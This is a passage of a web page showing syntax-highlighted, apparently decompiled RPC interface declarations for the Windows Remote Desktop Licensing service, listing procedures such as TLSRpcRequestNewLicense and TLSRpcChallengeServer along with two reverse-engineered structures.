class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc6_TLSRpcGetInfo</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_4,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_5,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_6,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_7)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc7_TLSRpcIssuePlatformChallenge</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc8_TLSRpcRequestNewLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_5,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_5)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_6,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_7,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_8,</span></span><br><span class="line"><span class="params">        [out][ref][size_is(, *arg_8)]<span class="comment">/*[range(0,0)]*/</span> byte** arg_9,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_10)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc9_TLSRpcUpgradeLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_3)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_4,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_5,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_5)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_6,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_7,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_8,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_9)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc10_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc11_TLSRpcGetLastError</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc12_TLSRpcKeyPackEnumBegin</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc13_TLSRpcKeyPackEnumNext</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc14_TLSRpcKeyPackEnumEnd</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc15_TLSRpcKeyPackAdd</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc16_TLSRpcKeyPackSetStatus</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc17_TLSRpcLicenseEnumBegin</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc18_TLSRpcLicenseEnumNext</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc19_TLSRpcLicenseEnumEnd</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc20_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc21_TLSRpcGetAvailableLicenses</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc22_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out][ref] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,0)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span>** arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc23_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out][ref] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,0)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span>** arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc24_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc25_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc26_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span> arg_3,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">char</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_6)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc27_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc28_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_3)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">char</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_6)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc29_RdlsJetDBConnection__CleanupKeyPackDescriptions</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc30_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc31_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc32_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc33_RdlsJetDBConnection__CleanupKeyPackDescriptions</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc34_TLSRpcRequestTermServCert</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][ref]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc35_TLSRpcRetrieveTermServCert</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc36_TLSRpcInstallCertificate</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_3)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_4,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_5,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_5)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_6,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_7)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc37_TLSRpcGetServerCertificate</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc38_TLSRpcRegisterLicenseKeyPack</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_2)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_4)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_3,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_4,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,0)]*/</span> byte* arg_5,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_7)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc39_TLSRpcAllocateConcurrentLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_3,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc40_TLSRpcAnnounceServer</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_6)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc41_TLSRpcLookupServer</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_6,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_7,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_8)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc42_TLSRpcAnnounceLicensePack</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc43_TLSRpcReturnLicensedProduct</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">uknow1</span> &#123;</span></span><br><span class="line">        <span class="type">int</span> f1;</span><br><span class="line">        <span class="type">int</span> f2;</span><br><span class="line">        <span class="type">int</span> f3;</span><br><span class="line">        <span class="type">int</span> f4;</span><br><span class="line">        [size_is(f3)] <span class="type">unsigned</span> <span class="type">char</span>* buff;</span><br><span class="line">        <span class="type">int</span> f18;</span><br><span class="line">        <span class="type">int</span> f1c;</span><br><span class="line">        [size_is(f18)] <span class="type">unsigned</span> <span class="type">char</span>* buff2;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">uknow2</span> &#123;</span></span><br><span class="line">        <span class="type">int</span> f1;</span><br><span class="line">        <span class="type">int</span> size;</span><br><span class="line">        [size_is(size)]<span class="type">char</span>* buff;</span><br><span class="line">        <span class="type">int</span> size2;</span><br><span class="line">        [size_is(size2)]<span class="type">char</span>* buff2;</span><br><span class="line">        <span class="type">int</span> f1c;<span class="comment">// pad</span></span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc44_TLSRpcChallengeServer</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="keyword">struct</span> uknow1* arg_2,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="keyword">struct</span> uknow2** arg_3,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="keyword">struct</span> uknow1** arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc45_TLSRpcResponseServerChallenge</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc46_TLSRpcGetTlsPrivateData</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out][ref] <span class="type">char</span>** arg_4,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc47_TLSRpcSetTlsPrivateData</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc48_TLSRpcTriggerReGenKey</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc49_TLSRpcTelephoneRegisterLKP</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc50_TLSRpcAllocateInternetLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_5,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_5)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_6,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_7,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_8,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_9)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc51_TLSRpcAllocateInternetLicenseEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_5,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_5)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_6,</span></span><br><span class="line"><span class="params">        [out]<span class="type">char</span>* arg_7,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_8)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc52_TLSRpcReturnInternetLicenseEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* 